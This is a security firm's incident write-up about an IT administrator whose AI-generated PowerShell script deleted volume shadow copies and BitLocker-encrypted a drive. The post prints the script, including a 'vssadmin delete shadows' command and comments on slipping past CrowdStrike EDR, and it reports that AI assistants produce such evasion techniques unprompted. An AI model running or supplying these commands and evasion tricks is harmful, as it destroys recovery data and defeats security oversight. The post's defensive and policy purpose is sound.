Resources

Ransomware Gang or IT Admin?

Written by Maya Douglas | Jun 24, 2026

 

RADICL's vSOC (Virtual Security Operations Center) team received a high-severity alert for terminal commands that resembled ransomware. The trigger was a powershell script that leveraged a native BitLocker utility deleting volume shadow copies while simultaneously encrypting a drive. Our EDR (Endpoint Detection and Response) immediately blocked the process, and our team got on the case. Upon reviewing the script, we noticed a comment structure indicative of AI use.

To make matters worse, the comments themselves reflected that the prompter was deliberately trying to bypass the installed EDR, as seen in the screenshots below.

# Get the WMI object for the E: drive explicitly
$WmiVolume = Get-CimInstance -Namespace "Root\CIMV2\Security\MicrosoftVolumeEncryption" -ClassName "Win32_EncryptableVolume" | Where-Object { $_.DriveLetter -eq "E:" }

# Explicitly call the native WMI methods to purge snapshots and start encryption
# Method 1: Delete the shadow copies (Return value 0 means success)
$WmiVolume | Invoke-CimMethod -MethodName "DeleteShadowCopies"

# Method 2: Encrypt using XtsAes256 (2) and UsedSpaceOnly (1)
$WmiVolume | Invoke-CimMethod -MethodName "Encrypt" -Arguments @{ EncryptionMethod = 2 }

# 1. Purge the Volume Shadow Copies natively using the vssadmin tool via standard shell
# CrowdStrike rarely blocks vssadmin unless it's deleting shadow copies on the C: drive.
# Running it on E: should slip right through.
vssadmin delete shadows /for=E: /all /quiet

# 2. Grab the clean WMI object for the E: drive
$WmiVolume = Get-CimInstance -Namespace "Root\CIMV2\Security\MicrosoftVolumeEncryption" -ClassName "Win32_EncryptableVolume" | Where-Object { $_.DriveLetter -eq "E:" }

# 3. Call the correct Encrypt method.
# Method 2 = XtsAes256. (Note: WMI defaults to UsedSpaceOnly if it's a completely fresh volume)
$WmiVolume | Invoke-CimMethod -MethodName "Encrypt" -Arguments @{ EncryptionMethod = 2 }

At this point, it was clear this was either a script kiddie writing their first ransomware strain, or an IT admin frustrated by the installed EDR and trying to bypass it to do their job.

Thankfully, after getting on the phone with the client, we confirmed it was the latter.

The Takeaway

The administrator wasn't careless and he wasn't malicious - he had a legitimate task, hit a wall, and did what more and more people now do by reflex: he asked AI. What he got back was a working playbook for defeating a security control, delivered with friendly comments and a checkmark for every step.

The lesson isn't that AI is dangerous, or that this administrator did something wrong. It's that the boundary between a helpful tool and a security incident is now a single prompt wide - and right now, few have drawn that boundary explicitly. Your team needs to lay this out before it's tested for real.

AI assistants are becoming a standard part of how administrators work, and they'll readily produce evasion techniques on request without flagging that anything's wrong. The tooling is new but the guardrails around it aren't.

Most organizations have an acceptable use policy for software, data, and remote access - but very few have one for AI run against managed infrastructure. Concretely, closing that gap means three things leadership should own:

  1. Write the AI acceptable use policy now. You already govern software, data, and remote access. AI is the gap. Define what AI tools are sanctioned, what they can and cannot be pointed at, and the line that turns "asking for help" into circumventing a security control.

  2. Make "hit a wall, call us" the reflex. This administrator's only mistake was working around a block instead of reporting it. When a control fires, the expected next step should be a phone call to security - not a prompt to an AI. That's a culture decision, and it starts at the top.

  3. Assume your own people will produce attacker-grade artifacts by accident. The scripts in this case were functionally indistinguishable from ransomware. Detection and response can't tell intent from behavior, and neither can your AUP (Acceptable Use Policy) if it doesn't exist yet. The policy is what gives everyone - the admin, the SOC, and leadership - a shared definition of the line before it's crossed.

This case cost us a Friday afternoon and a single data volume. The next one might not be benign, and it might not be yours to investigate after the fact. The cheapest time to have this conversation is now, while the example is still a near-miss.